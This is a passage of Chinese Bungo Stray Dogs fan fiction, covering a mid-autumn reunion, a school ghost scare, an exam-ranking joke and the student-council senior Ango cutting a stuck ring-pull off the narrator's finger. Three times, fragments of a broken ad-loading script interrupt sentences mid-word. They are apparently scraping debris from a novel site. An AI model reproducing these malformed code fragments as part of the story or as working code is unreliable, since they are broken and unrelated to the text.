“老师。”两声尊敬的称呼响起。社长和首领同时上前示意。夏目漱石抬抬手作为回应,和蔼地说:“不必管我。” “横滨的各位,多久没有聚在一起过了。”夏目漱石无不感慨地说。 圆月。寓意团圆。见到自己的亲人与挚友。与往日故人。 “大家都到齐了。”小孩的声音响起。 小千叶活力满满地出现在小院门口,身上的鹅黄长裙在月色下闪闪发光,浅绿色飘带随着晚风飘逸,受人瞩目的小团子仿若辉夜姬。 “小木。”泉父泉母浅笑着挥手示意。小千叶高兴地回礼,和早上爱搭不理的样子判若两人。 “我们的玉兔来了。”与谢野晶子难得有心情调侃道。 “那要不要来表演一下捣年糕。”立原道造顺口调笑,接着意识到自己接了与谢野的话,瞬间闭嘴。 “才不要。现在都是机器捣年糕,哪有玉兔手动的。”小千叶条条是道地说。 “那、你们月宫真是与时俱进啊。” “还好。多亏了月宫引入的GPS定位系统,今天才能把大家找齐。” “你把我们聚在一起……到底为了什么?”一直没有出声的露西抱臂靠在墙上,冷漠地说。 “——过中秋。”其他人异口同声道。 露西:“……”神经病。 “难得一聚。”小千叶说,“不要拘泥于局势往事了,尽情享受这中秋夜吧。” 小千叶的出现带动了人群的气氛。大家围在院中长桌上一起做花灯,几个人共同做的花灯各有特色,值得一提的是黑手党的梶井基次郎勇气可嘉,试图掏出炸弹为他的柠檬花灯提供发射的反作用力,被在场的猎犬和侦探社成员当场摁住,与谢野晶子毫不客气地为他预约一套全身治疗套餐。就连森鸥外也不忍直视地捂住眼睛。 旗会吵吵嚷嚷做出的花灯丑的要死,根本放不起来。中原中也灵机一动,一打响指把花灯托到天上。但是那么丑的花灯高悬夜空引起众人一致的抗议。 “小木?”银轻声呼唤旁边安静的女孩,“不开心吗?” 众人的目光一下子放到小千叶身上。 “啊。”她闷闷不乐地说,“突然想起月宫的销量还没有达标。” “月宫还要冲业绩吗?”中岛敦忍不住说。 “……你的人设真是饱满。”坂口安吾说,“你们推销什么?” “月饼。”小千叶说,“但你们吃月见团子,导致大批月饼滞销。” “……”坂口安吾扶额,“那就把滞销月饼卖给在场的各位,如何?” 小千叶犹犹豫豫地问众人:“可以吗?” “当然了。”小千叶犹豫的样子萌到了众人。 小千叶消失了,不久又搬回来一箱月饼分发给众人。 “莲蓉馅的。”樋口一叶掰开月饼说。 “我这个是咸蛋黄。” “名侦探的是红豆泥。” “不……我这个怎么是螺蛳粉味的……yue——” 小千叶无动于衷:“不包退。” “……” 明月高悬,院中祥和一片。 大家都抬头赏月,只有小千叶坐在台阶上看着众人。 “你们,高兴吗?”她轻声问。 “当然了。”谷崎直美回答道。“大家都很高兴呢。” “那就好。”小千叶慢慢露出一个欣喜的笑容。 “……佑木?” 小千叶的身体变得透明。她欣喜地露出两个浅浅的小酒窝,眉毛弯弯:“我做的一切,都是为了你们开心。” “你去哪?” “回到我该去的地方。让该回来的人回来。” 她的身体愈发透明,已经用手触碰不到。小千叶突然想起什么,打起精神嘱咐道:“月饼不是免费的哦。” “怎么支付?” “一个美梦。”她说。 “今夜,用一个美梦来赊我的月饼。” 辉夜姬消失了,留下一轮明月映照得以团聚的人们。 39.闹鬼横滨 此时天时地利,刚好用以报镜花多次恐吓我之仇。我心虚地苍蝇搓手,见她走向更偏僻角落,果断放轻脚步贴近她。 视线中那乖巧的发旋越来越近,而她没有丝毫察觉地继续走着。想到镜花面无表情的脸上或许会露出惊慌的神情,我便压抑不住心中的窃喜,得意的嘴角越咧越大,手下径直伸向镜花的左肩—— 一阵肃杀之气扑面而来,似乎有冰冷的目光在我的脖颈间流连,斟酌着从哪下刀更迅捷。我似乎成为了待宰的羔羊,被屠夫货物的标准审视。那阵危机感使我的汗毛倒竖,心中的声音不停警告着我不要轻举妄动。一时间我的手僵在那,迟迟没有拍下。 镜花就在这时蓦然回首,清凌凌地眼中充满着警惕和防备。看见熟悉的面孔,镜花的眼睛微微睁大,手也下意识松开了脖上挂的旧手机。手机从手中滑落,那阵令人汗毛倒竖的危机感突然消失。 ……我看着镜花。 镜花眼也不眨地盯着我。 “好巧。”在她莫名其妙的视线下,我僵着的手情不自禁地拐了个弯,欲盖弥彰地替她整理了一下头发,把鬓边碎发勾到耳后。 “不巧,你明明跟了我一路。” 我扶额。 “好吧,本来想考验一下你的警惕心的。镜花你合格了。” 镜花撇了撇嘴,没有回应我。有些低落地转身闷头往前走。 诶?我跟上她,看着她耷拉下的呆毛,试探道:“不开心吗?镜花。” 她的头依旧低着,没有回应。 “笑一个嘛,佑木我回来了哦。” 我绕到她身前倒着走,朝她做了个鬼脸。 “……可你四天前就应该回来!”她猛然抬头,声音微微拔高。情绪稳定的镜花少见地失控,也只是微蹙双眉,看起来有些委屈。 她还想再说,猝不及防和比着鬼脸的我对视。 泉镜花:“……” 我连忙收起鬼脸,但是斗鸡眼一下子变不回来,我连忙眨了好几下眼睛、终于对焦上了—— 她一下泄了气,把我轻轻推开,继续朝前走。我晃晃脑袋,下决心再也不做斗鸡眼。我轻巧地跟在她身边,默契地和她同步。 “怎么啦,镜花?”我轻声说道,像哄一个哭闹的孩子。 她闷声说:“你说,两天后就回来。” 我等了你很久。她没有说出声,只是感到更加难过。比这两天对少女的担心还要浓郁的情感在心中酝酿。 又被忘记了吗?又被抛下了吧。其实早就该接受一个人的生活,约定是不可以相信的誓言。哪怕是这样,也依然感到庆幸,你此时仍安然无恙…… 我想起来这件事。在走之前的确答应过镜花两天后就回学校,可是没料到会下暴雨,加上我主动请缨留下来算账,甚至都忘记用手机联络朋友,更是把这件事抛到九霄云外。 看着她低落的神情,我心下一软。我小心地摸摸她的脑袋,温声说:“我没有遵循约定,所以镜花生气了,对不对?” “你不应该忘记我。”她的声音越来越低落,自以为平复的情绪又开始在胸腔中翻腾。 我沉思一会,无意识地摩挲着她柔软的头发:“我很抱歉,镜花。” 我继续和她说:“伊哈特伯村的庄稼、水渠、甚至部分房屋都被冲毁了。” 她微微抬眼,显然被我的话吸引却不愿意详细问。我莞尔,用缓和了语气接着说:“今天的收成没有着落,来年的收成也成谜。而他们不知道金钱的概念,连政府拨的资金都无法使用。” “他们很坚强,不会被击垮。但也面临着吃不饱,穿不暖的问题。”我垂眸看着镜花。 “所以我留下来了。” “我为他们申请补偿款,用部分钱买木材、提供住宿食物,购买鸡苗鸭苗。这能让他们的灾后生活好过一点。” 镜花安静下来。停了一会,我戳戳她:“你明白吗?” “我想尽我所能帮助他们,所以我这几天几乎没有好好休息,每天都在算大量的账本,我把你们都忘记了。” 我摇摇头:“我知道这很可恶,但即使我还记得,我也会留下来。我很抱歉。” 她转头看我,“那……他们怎么样了?” “村庄基本修复了原貌,各种事情都提上日程,还有额外的资金。” 她露出一个淡淡的笑,眼里亮晶晶的:“你真厉害。” “没有啦,都是村民的努力,我只是帮点小忙。”我轻咳。她的眉头松开了,似乎对我的解释很满意。 “那么,”她凑过来小声说,“下次可以告诉我吗?不要让我……担心?” 我认真地说:“绝对会的。” 她露出浅浅的笑容。 我拉起她的手,说:“那么镜花,今天就陪我去购物吧——终于有人能帮我提东西了!” 猝不及防被拉起来飞奔的镜花:D 在校内的超市。 “小兔子发绳?”我比比划划,“买吧?超级可爱的。” 泉镜花说:“好幼稚。” “那喜欢吗?” 泉镜花:“……喜欢。” “那就买。”我愉快地把发绳放进购物车:“你的小白花发绳也该换换了。” “柚子和桃子味的汽水呢?喜欢哪个?” 镜花的眼神在两者之间徘徊,犹豫很久说:“都喜欢,你选吧。” 我愉快地把两瓶汽水都放进购物车。 嗯,总感觉我在做什么图灵测试。 测试结果:镜花是伪人。 购物车里已经堆起小山,里面全是杂七杂八的零食和我爱喝的汽水,另附赠一箱给镜花买的牛奶(尽管她一直推辞)。 虽然有些意犹未尽,但是想起我和镜花两个人提不了太多东西,我还是就此终止进货。 出了超市,我有些吃力地提着两大袋东西,而镜花抱着一箱牛奶在前面走着,担忧地转头问:“真的不用我帮忙提一些吗?” 我狰狞地说:“不——用——” 泉镜花:“……还是让我帮忙吧。” 我说:“你怎么帮呀,你也没手。” 泉镜花吃力地单手搂着牛奶箱,郑重其事地拿起脖子上挂着的旧手机,念道:“夜叉白雪——” 我:“……” 我真是受够了这个中二病学校,把好好的妹子祸害成什么样了。 突然,我感觉身后一凉,似乎有双冰冷的手覆上我的腕间,想要抓住我。 但是这条夜路上只有我和镜花二人! 我感到头皮在这一瞬间炸开,脑中名为理智的弦猛然断裂,我惊叫一声,下意识把手里沉重的塑料袋甩开,害怕地后退两步。 校园夜路、四下无人……身后突然出现冰冷的身躯, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 在你耳畔低语,紧接着传来阵阵阴风…… 我:qaq救命啊! “佑木?!怎么了?”镜花有些惊慌地扶住我。 “镜花你、你有没有感觉到什么东西……”我有点恐惧地看着一瓶柚子味道的汽水从塑料袋中缓缓滚出,撞到石头墩子发出清脆的响声,在寂静的夜里如此醒神。 “你是说夜叉白雪?”她对我激烈的反应感到不解。 “不要在这时候维持你的异能力人设啊!”我崩溃,“刚刚好像有个冰冰的东西碰到了我的手。” 我看着空无一人的夜路,快要炸毛:“但这明明什么都没有。” 泉镜花有些惊愕地看着我。我和她对视一会,我忍不住说:“我没开玩笑,咱学校绝对闹鬼吧?” 与镜花初遇也一样,在浴室里的阵阵阴风现在回想起来都不寒而栗,浴室只有我与镜花二人,怎么会感到有人从旁边掠过的冷风呢?此时在同样阴气重的夜路,我也遇到了同样的困惑。 有咒灵吗?不对。夜蛾老师强调过横滨没有咒灵的。而且我也没有受到攻击。难道真的是……鬼…… 我想到刚刚冰冷的触感,只感到一阵后怕。泉镜花仍有些疑惑,默默合上旧手机,轻巧地过来握住我冰凉的手。 “没有鬼,佑木。” “可是刚刚、” 她犹豫一下,小心翼翼地抬手顺了顺我的头发:“……是错觉。” “不要怕。” 我看着镜花乖巧的容颜,此时认真地安慰着我,就像在给一只小猫耐心地顺毛。心里的恐惧被轻轻抚平。 好萌的镜花。 她见我冷静下来,松开手走向掉落在地的塑料袋,蹲下来一点点把散落的零食装回去。然后泉镜花起身,把桃子味的汽水递给我。 “回宿舍了,佑木。” 我默默无语,抬头把桃子味汽水往嘴里灌。突然想到刚刚柚子味的汽水在地上滚了几圈,口感肯定被影响。而镜花把另一瓶汽水留给我了。 咕噜咕噜咕噜…… 冰凉爽口的汽水下肚,好像把不安跳动的心脏沉浸在桃子温泉里,不断地下沉……又漂起。沉沉浮浮,化为一个桃子味的嗝。 我把汽水一饮而尽,把汽水瓶精准投入不远处的垃圾桶,内心起三分球的欢呼声。压住心中的雀跃,维持着冷静外表:“镜花你说得对,根本就没有鬼。” 她顺从地说:“是的。” “所以我一定是出现错觉了。”我断定,“果然是前两天太累的缘故。” 镜花默默地看着我。她最后说:“是的。” 我接过塑料袋,把柚子味汽水和小兔子头绳找出来递给她,带着歉意说:“刚刚在地上滚了几圈,口感肯定不好。你先喝牛奶吧,下次再请你喝汽水。” “没关系。”她摇摇头。 “好!”我打起精神,兴奋地说,“那今晚就再睡九小时!” 泉镜花严肃地点点头,和我道别。 穿过204、205……泉镜花打开207的门,在黑暗的走廊中,声控灯因为开门的“咔哒”轻响而亮起,暖光灯照亮泉镜花沉思的面容,脸上细腻的绒毛随着深度思考而无意识微动的肌肉在光与影中交替。她把脖间挂的旧手机开开合合,最后“啪”地关上。 只要你不害怕,怎么理解都好。 看不见异能力的,佑木。 40.绝赞二百五 “小银!”刚回到宿舍把零食放下,就看到回来的小银。我开心地凑过去,紧紧抱住刚换好鞋的她:“好想你——” “欢迎回来,佑木。”刚从社团回来的小银有些疲惫,还是打起精神给我一个温柔的笑容……好像我的到来可以消除疲劳一样。她捏了捏我的脸,微凉的手指让人感觉很舒服。她刚刚摘下口罩,头发像初见一样高高竖起,以一种很新的审美暴殄自己的盛世美颜。此时的神情依然澄澈空灵,却少了当时的冰冷迷茫。 前几天在旅馆时还没有顾及小银,如今突然看见她带着笑意的眼眸,我突然发现,我已经很久没有和小银说话了。从初遇开始,我们就从没分开过这么多天,我确实在她的生活中消失了很久。想到这,我的泪飙了出来。 “啊、佑木……”她睁大眼睛,有些惊慌。“怎么了……?”她小心翼翼地凑近我,试图从我泪眼婆娑的杏眼中找到答案。 我顶着泪汪汪的眼睛看她:“想小银了。” 她一愣,不太好意思地绕了一下鬓角散落下的几丝黑发,脸上浮起一层薄薄的红晕。似乎又回到了刚认识的时候,那个腼腆寡言的少女。她有些懊恼口罩摘早了,此时在我泪汪汪的注视下不知道该做出什么表情来回应。最后还是轻咳一声小声说:“我也很想佑木。” “这就是。”我狠狠抹了一把眼泪,“小别胜新婚啊!” 小银:“……小别胜什么?” 我:“没什么,小别胜新欢。” 小银:“新欢?谁是新欢?” 我:“不,我是说,小银胜新冠。” 小银:“??” 已读乱回的结局是把零食分了小银一半。我忍痛割爱的表情逗笑的小银——虽然本来就是为她买的。 看着她一扫此前疲倦,心情愉悦地收拾着宿舍里零食架的背影,我还是没说出那句话。小银单手把发绳扯下,头上看起来攻击性很强的毛瞬间散落下来,我依旧惊叹于她在诡谲与温婉两种大相径庭的形象间流畅切换的能力,在她拨开几丝凌乱的黑发时,我捕捉到一抹自然流露的轻松笑意。 也许、那些未说出口的话,早已被谛听。 我真的,很想你,很想你。 第二天,我穿好校服,在宿舍的窗户边站着眺望我美丽的横滨高校,不禁落下怀念的泪水。 刚洗漱完的小银,推门就看见我寂寥的背影。 她疑惑地在原地站了一会,慢慢走上前,说:“别动。” 我:“怎么了?” “把头抬高一点,慢慢把眼睛闭上,然后从眼角缓缓滑落一滴泪水……”小银指挥着。 “嗯,现在看起来像悔不当初的失学儿童。” 小银评价。 因为打了个哈欠眼角闪过泪花的我:“……” “其实就是,”我挠挠头,“有点怀念咱学校。” “别怀念了。”小银怜悯地拍拍我的头:“想想你的月考成绩单还在你们班主任键盘下压着。” 我沉思几秒,最后和她说:“其实也无所谓怀念。” 她扶额。 失踪三天的我重返教室,显然吸引了很多人的注意力。 “佑木!”春野绮罗子朝我挥挥手,朝气蓬勃的容颜让有点没睡醒的我眼前一亮。我乖乖地走过去。几个学生凑在一起七嘴八舌地问我。 “千叶被困在岩手了?” “怎么回事啊?” “你没听说吗?前些天岩手暴雨,好多村山体滑坡了。” “啊,听说千叶请假去帮忙了。” “我以为佑木去种地了……” “嗯?我还以为佑木去填海呢。” “不是,难道她不是去关门了吗?” 我陷入沉思。 我把犀利的目光投向春野绮罗子。 春野绮罗子推了推眼镜,说:“我只是和他们说岩手的村庄下暴雨发洪水,庄稼都被毁了,你和贤治留下帮忙。” 坏了,请假三天都能传成这样。再请两天假我能不能直接羽化登仙啊。 回到座位,瞥见芥川龙之介的侧脸。 我瞥一眼。 再瞥一眼。 再……他头上暴起青筋,忍无可忍地转头看向我:“在下的眉毛……” 我立马打断:“诶、诶诶——我可什么都没说哦,是你自己提的!” 他面无表情地看着我,像是被折磨已久的病人心如死灰的面容。 虽然很好笑,但是他苍白的面色还是让我想起他的肺病,我试图转移话题,让他开心一点。 我说:“我看着芥川,是突然发现……” 我特地顿了一下,他紧紧盯着我,立马问:“什么?” “好久没有见到芥川,突然觉得你很帅呢。”我一本正经地夸赞。 虽然芥川一直很凶,但不可否认他有一副好皮囊。苍白的面色难掩凌厉的五官,反而为其增添了几分文弱气息,薄唇微抿,目光低垂,浓密的睫毛遮住莫辨的神色,似乎在思考我的可信度。 “肯定是之前你太凶的缘故,我居然现在才get到你的颜值。” 他一脸“我就知道你说不出什么正经东西”,默默转开视线。 “在下对你的态度没有变过。” 嘴硬。我还记得当初他得知我把小银认错时,冷漠夹杂审视的眼神。我把脸贴在冰凉的课桌上,半边脸朝他笑嘻嘻地说:“那就多亏我冰雪聪明,发现你心肠不坏。” “你多笑笑呗,不然这么凶,除了我和小银,谁理你。” 芥川的脑海中缓缓浮现一个金发女生,即使他冷脸相对也依然会冒着星星眼靠近,让他头疼过一段时间。想到身边三位截然不同的女性,他沉默一下。 接着,我眼睁睁看着他慢慢朝我露出僵硬的笑容,那嘴角的弧度都极其微妙,我相信但凡多一度或者少一度都没有现在这么骇人。像是电影里的灵堂,在一片悲恸的哭声中,端庄的死者遗照突然对你翘了一下嘴。 芥川看着我吓到变形的半边脸,瞬间恢复臭脸。 为了不打击他的积极性,我装作镇静地和他说:“看,非常友好的一个笑脸!继续保持。” 虽然我推测他这个笑容会让最叛逆不羁的黑手党成员也开始吾日三省吾身,直接去学生会自爆违纪。 他扯了扯嘴角,移开视线。 谁心肠不坏。 他可是穷凶恶极的黑手党。 为了证明他的心狠手辣,芥川龙之介从笔袋里掏出一个熟悉的纸条,冷酷无情地拍到我的桌子上。 我身子一下子坐直了,由于动作过于迅捷,甚至能听到脸皮从光滑桌子上迅速撕下来的声音。 红着半边脸,我不可置信地看着他:“我的分数条你也私藏……?”突然想起昨天看到的来自他的短信内容,原来他看了我的分数条。芥川居然有这么变态的一面吗?还是说他表面风轻云淡,其实十分在意身为同桌的我的成绩,是那种私底下会反复对比的类型? 他闭眼,似乎受够了愚蠢的同桌:“种田老 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 师让我替你保管。” 我颤抖着把手放到分数条上,却没有勇气把它翻开。 终于要来了,普通高校生必须面对的出成绩时刻! 我闭眼深吸一口气,试图把哐哐撞墙的心脏压回胸腔。再次睁开眼,眼中闪过一丝坚定。 不就是月考成绩吗?开! ……没开出来。 我试图把分数条拿起,手抖的太厉害,分数条贴桌子上搓不起来。 我:“……” 好整以暇看着我的芥川龙之介:“……” 我猛地捂住脸:“我无法面对,你直接告诉我排名吧芥川。” 芥川龙之介:“二百五。” 我抬眼崩溃地说:“我接受能力差一点怎么了?不至于这么骂人吧?” 他忍无可忍地把分数条拿起,甩给我。 看着怼到我眼前的分数条,我艰难地说:“芥川……” 他冷声嘲讽:“看清楚了吗?” “不……拿远点,我对焦不上……” 去找种田老师销假。 我敲了敲办公室的门,得到准许后乖巧地走了进去。 我把我和贤治补写的请假条递给种田老师。由于种田老师坐在办公桌前,他那光亮的脑门在阳光下再次痛击我的眼睛。不得不说,种田老师退休之后干脆去光热发电站当定天镜算了,这小脑门,镜面反射效果杠杠的。 他停下敲打键盘的手,捏着睛明穴疲惫接过我的假条,找出之前请假的材料,签完字递给我,“把这个交到……” 随着他抬头的动作,他的光头发出更加强烈的光芒,我的眼睛被刺得睁不开,流着泪:“你说,老师。” “……你先把窗帘拉上吧。” 我如蒙大赦,转身把办公室的窗帘拉上。终于能直视种田老师了:“老师,你刚刚说啥?” 他若有所思地看着我:“这次月考,你考得如何?” 我内心默默流泪:“老师别说了,我就是那个二百五。” 本以为芥川是在骂我,看到分数条的一瞬间,得知真相的我眼泪掉下来。为的不是忍辱负重一波三折只为嘲讽我的芥川,而是为我二百五的排名。但凡高一点或低一点,我都不至于这么憋屈。 这个排名真是出乎我意料,第一次参加高校多人月考,在五百多人中居然排二百多名。要知道我的高专成绩可是在第一和第四之间浮动。 ……虽然年级只有四个人。 “我知道我考得很差……”我小声。 “你比我想象中好一些。”种田老师没有听到我小声的嘟囔,电脑里翻出电子版的成绩单。 “啊?” “你是高等专门学校转来的,我以为你的成绩会更差。”他和蔼地说,鼓励的眼神并没有让我感到被激励:“二百五,可塑性非常强,继续努力。” 等等、感觉莫名其妙被骂了。 先不说这个,我该如何和他解释我曾经也是首都圈有名中学毕业的三好学生,不过是被我老娘一脚送进了高专。 ……算了,帝丹中学优秀毕业生在横滨高校当二百五也不是什么很光荣的事情。 我决定下次月考再战。 至少要摆脱二百五的外号。 “午间把销假材料送到学生会。”种田老师嘱咐完。就眼睁睁看着我气势汹汹地离开了。 所以她在燃什么。 哎,这个年纪的女孩,心情就是难以捉摸。 种田山头火看着我的背影沉默地想。 41.学长我们去…… 中午吃饭时,我郁闷地戳戳餐盘里的菜。 “佑木,别折磨那盘西兰花了。”小银看着我的动作欲言又止,上一次见到这个手法还是在社团看见红叶学姐“开导”一些混混。她眼神询问哥哥芥川龙之介。 ——她怎么了? 芥川龙之介言简意赅:“二百五。” ——知道自己考了二百五十名。不高兴。 小银:“……” 我:“……” 我感到愤怒:“你考的很好吗?” 芥川龙之介矜持道:“比你高二百四。” 我不可置信地望着他。 年级第一?!要不要这么变态? “没关系,”小银拍拍我,安慰道:“你刚转学,需要适应。” 我倔强地把目光转向小银。 她沉默一会,说:“十七。” 我缓缓闭上双眼。心中充斥着悲伤与不甘。我真傻,真的,我单知道芥川成绩很好,没想过年级第一的妹妹也不会逊色。 此时需要有一滴泪缓缓从眼角滑下。但我没有屈服,而是继续嘴硬:“我没考好是有原因的。” 芥川龙之介挑眉:“什么?” “我那天吃的早饭有问题。”我斩钉截铁。 “……你那天不是没吃早饭吗。” “那就是贤治的建议害的。” “我记得有人给你送了巧克力?” “巧克力有问……不对。”我卡了一下壳,想到为我操碎了心的坂口安吾,觉得这话说出口我就真成了狼心狗肺的出生。 “我知道了,是小银你作为我的幸运女神没有保佑我。”我果断转移炮火。 小银温温柔柔的脸上冒出黑气:“我?” ……莫名地背后一凉。我目移:“不,肯定是芥川身为同桌吸走了我的智商。” 芥川龙之介:“呵,一点也不怪自己啊。” 小银没绷住,轻轻笑了起来,露出浅浅的梨窝。她温声说:“好啦,佑木。一起努力吧。” 我含泪点点头。 等等,芥川你是不是也笑了一下? 哇哦,来自芥川的超自然笑容呢,太稀有了。不过还是别跟他说了,免得他恼羞成怒。 中午,我抱着资料狗狗祟祟地靠近坂口学长的办公室。 果然,他中午也在办公室加班。真不知道学校哪里有这么多文件给他一个人处理,难道你们学生会没有其他人了吗? “千叶?”他注意到我,颔首示意我进来。 “种田老师的资料吗,给我就好。”他接过,发现我手里还提着其他东西:“这是?” 我不太好意思地把手提袋递过去:“礼物,学长。” 他打开,看着包装严实的紫砂壶挑眉:“这么贵重,看样子我还得回礼。” 我急忙摆手:“不贵重,不要回礼,学长你喜欢就好。”毕竟你在月考时送来的巧克力可是让我立下了逢年过节都要来看望你的誓言啊! 上次来他办公室时,瞥见一堆文件中夹着一本《古玩收藏与鉴赏》,斗胆判断坂口学长喜欢古董,本想送一套茶具,但太引人耳目。左思右想还是送了一把仿古壶,小巧精致,重要的是高大上。 他笑了一下没有回复,道了声多谢就把袋子放到一边,没有表现出异常。但是从他神情里窥见一丝满足的我状似乖巧地眨了眨眼睛,在心中为自己的明察秋毫点了个赞。 坂口安吾浏览了一下我送来的材料,点点头,调侃道:“长假顺便去救了个灾?” 我有些不好意思地挠挠头:“顺便的事情啦。话说坂口学长你怎么会想起给我发那个文件?” 我想起他之前给我发的【岩手县村级自然灾害救助应急预案.doc】。 “看到你们的假条我就猜到了。”他好笑地摇摇头,“你不像是会袖手旁观的人。” “怎么样,感觉如何?” 我朝露出不太好意思的笑容,想要找个角度说,又觉得有很多可谈的地方,就顺便把椅子抽出来坐下。 “能怎么样呀,就是累。”我嘟嘟囔囔地说,“天天算账算账,几乎没休息,我眼睛都快熬瞎了。” “讲真的,还有谁能坚持不睡觉高强度工作三天?”我刚说完,抬头和坂口安吾平静的视线交接。 我:“……” 打扰了。 别看坂口安吾现在情绪如此稳定,从和我见面时到现在一直表现得很靠谱。可我总能从他疲惫的眼中窥见浓厚的怨气,每次与他相处都有种下一秒对方就要跳起来发癫的微妙预感。 我目移,试图寻找新的话题。突然目光一滞,打着哈哈说:“那罐咖啡学长你还没喝啊,刚好我渴了,不如给我吧。” 他淡定地移开目光,把避光处静静躺着的咖啡拿过来递给我,嘴上却说:“放太久了,你不如买罐新的。” “没过期就行啦。”我才不愿意承认自己送的东西一直在他桌子上当什么展品摆着没有喝很丢人,只好主动“解决”掉。 我轻松地扯开拉环,灌了一大口,浓郁的咖啡味充满口腔,咖啡饮料独特的奶味让我的心灵得到慰藉。 明明挺好喝的、 我瞥了坂口学长一眼,又闷了一大口。可能是学长不喜欢喝甜的吧。 看着我把咖啡当啤酒灌的坂口安吾突然搐了一下嘴角,然后面不改色地给我带来的材料签了字,放到一旁。 “其实,”我突然开口,“看着村民……嗯,能因为我的努力而轻松一点,用我申请的木料盖房子,把我挑选的鸡苗赶进鸡圈,握着他们还不熟悉的货币走出大山……” 我捏着咖啡罐的手微微收紧,把扯下的易拉罐拉环套在右手小拇指上,假装欣赏着“戒指”,尽量用最漫不经心的口吻托出真心话:“就觉得、我的付出是值得的吧。” 坂口安吾看着无意识露出清浅笑容的少女,恐怕没有意识到自己的表情多么温柔。 “是值得的。只要你的付出帮助到哪怕一个人,你的努力就有意义。”坂口安吾说。 我揉搓着小拇指的拉环,不说话。 “在救人的一方,能看到更光明的未来。”坂口 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 安吾眼中闪过复杂的神情,夹杂着一丝怀念和……愧疚,最终这一抹情绪也隐藏在冰冷的镜片后。 我低下头,很久才出声:“坂口学长……” “嗯?” “你知道,拉环卡小拇指上怎么取出来吗?”我不太好意思地朝他翘起小拇指,心中庆幸还好没有把拉环套中指上。 “……”坂口安吾冷静地扶了扶眼睛,诊断道:“这种情况,我一般建议截肢。” “啊?!我还这么年轻不想残疾啊呜呜……” “闭嘴。我在吐槽。” 一个小小的咖啡罐拉环很明显难倒了一个聪明绝顶的二百五,和一个聪明绝顶的学生会。 此时我在办公室的洗手台前把左手泡在肥皂水里。 我:“坂口学长(搓搓搓),你说(搓搓搓),这玩意管用吗(搓搓搓)。” 坂口安吾:“不管用怎么办?给你叫个消防救援车?让大家都欣赏一下你的戒指。” 我说:“算了吧,怪丢脸的。” 他发出一声怪笑,说出的话格外无情:“你还知道。” 我看着因为血液不通已经有些红肿的小拇指,忧愁地挠了挠头发。 坂口安吾靠在门上,看着我被糊到头上的泡沫顺着濡湿的黑发缓缓流到发尖,没吱声。 我的脑中突然亮起一个灯泡,猛地一甩手,兴致勃勃地说:“对了——” 声音戛然而止。我停下甩手的动作,睁大眼睛有些不安地看着无辜被甩了一脸泡沫的坂口安吾。他情绪稳定地摘下眼镜抹了把脸,面上古井无波,冷静理智地回应:“你继续。” 保持清晰的头脑,坂口安吾。要知道自从太宰治之后,就再也没人能让他破防。对、没有人。N-O-B-O-D-Y. 我小心翼翼地确认完他不会发火,安心地说:“隔壁就是宣传部吧?能不能要到——”我话说一半,停了下来。 “什么?”坂口安吾耐着性子问。 “呃、听说有些学校会进行健康教育……”面对学长的追问,我反倒有些不好意思。 坂口安吾眼皮一跳,有种不好的预感:“你到底要什么?” 我坚定地说:“我们去要个避孕套吧,坂口学长。听说里面的润滑油有奇——唔唔!” 坂口安吾眼疾手快地捂住我的嘴,以防我的破嘴吐出更惊世骇俗的言论。 ——太宰治!这家伙比你难弄多了!! “先不说有没有,”他努力地朝我挤出一个扭曲的笑容,“午休时间,我们两去问人家要避孕套?你疯了还是我疯了?” 我朝他眨眨眼,坂口安吾定定看了我一瞬,似乎在审视是否能再次相信我。最终他把手微微松开,我透了口气。 难得的自由让我犹豫一瞬,还是决定和他贫嘴:“应该是学长你太久没休息导致的精神恍惚——” 坂口安吾冷酷地再次捂住我的嘴。有那么一瞬间想直接把她捂死算了。 还方便,能让他少操一点心。 坂口安吾咬牙切齿地想。如玉的耳垂鲜红欲滴。 42.背书背书 越背越输 “那怎么办。”肥皂水实在搓不下来我的铝制戒指,尝试过几种方法的我早已精疲力尽,索性耍流氓似得往办公室沙发上一瘫,横在那里不走了。 坂口安吾情绪稳定地用毛巾把脸上的泡沫擦干净,站在茶几前不爽地藐视我:“爱怎么办怎么办,为什么要赖在我办公室。” 我朝他邪魅一笑,然后倒头就睡。 “走开。” “不要。” 他居高临下地凝视我两秒,然后冷笑一声,转头就走。 我感觉不妙:“学长你去哪?” 他头也不回:“去体育部借点工具。” 我瞬间警惕起来,刚坐起来,又觉得学长不会害我。独自寻思半天,还是惴惴不安地瘫回了沙发。 如坐针毡。 过了一会坂口安吾还没回来,我越想越不对劲,坂口学长不会是嫌我烦,直接溜走了吧?这是好点的猜想,看他离开时候身后冒出的浓厚黑气,我严重怀疑他是去准备什么埋尸小神器了。 要不要溜? 我凝重地走到办公室门口,手刚放到门把上,门突然被推开。 噫!出师不利! 回归的坂口安吾冷静地看我一眼,说:“取下来了?” 我想了想,谨慎回答:“还没。” “那去哪?”他抬了抬下巴,“坐回去。” 他不容置喙的语气让我心中警铃大作。但在他疲惫又麻木的目光下,我还是乖乖坐回沙发。 他从提回来的工具箱里慢慢翻找着。我紧紧盯着他翻找的动作,生怕拿出来什么计划之外的工具。 坂口安吾找出工具,抬头看见像小猫一样紧紧监视着他一举一动的少女,好像幻视了一对飞机耳。他没好气地说:“现在怕了?” “还好。”我彬彬有礼地回答,“这是什么?” “尖嘴钳。”他单膝蹲在我面前,托起我的左手,用钳子敲了敲我的专属戒指:“你这个太紧了,搓不开,只能剪掉。” 我干巴巴地“哦”了一声,心中努力安慰自己没事的。过了一会,我又缓缓出声:“坂口……不、安吾学长,你下手千万准一点啊。” 安吾学长。 这一声称呼像羽毛扫过他的心尖,少女示弱的称呼像是讨饶的小猫,让他有些不自在。 “手别抖啊。”坂口安吾无奈地握住我的手,“你在怕什么?” 我沉默一瞬间,还是诚实地说:“它长得有点像鸡爪去骨神器。” 坂口安吾:“……嘶。” 你别说,你还真别说。 他都有点幻痛了。 “咔哒”一声,拉环被轻松剪开,轻轻掉到地上。 我甩了甩红肿却自由的小拇指,有种落泪的冲动:“谢谢你,坂口学长。” 他把尖嘴钳放进工具箱,强迫症促使他开始整理工具箱。礼貌微笑:“有事安吾学长,没事就叫坂口了。” 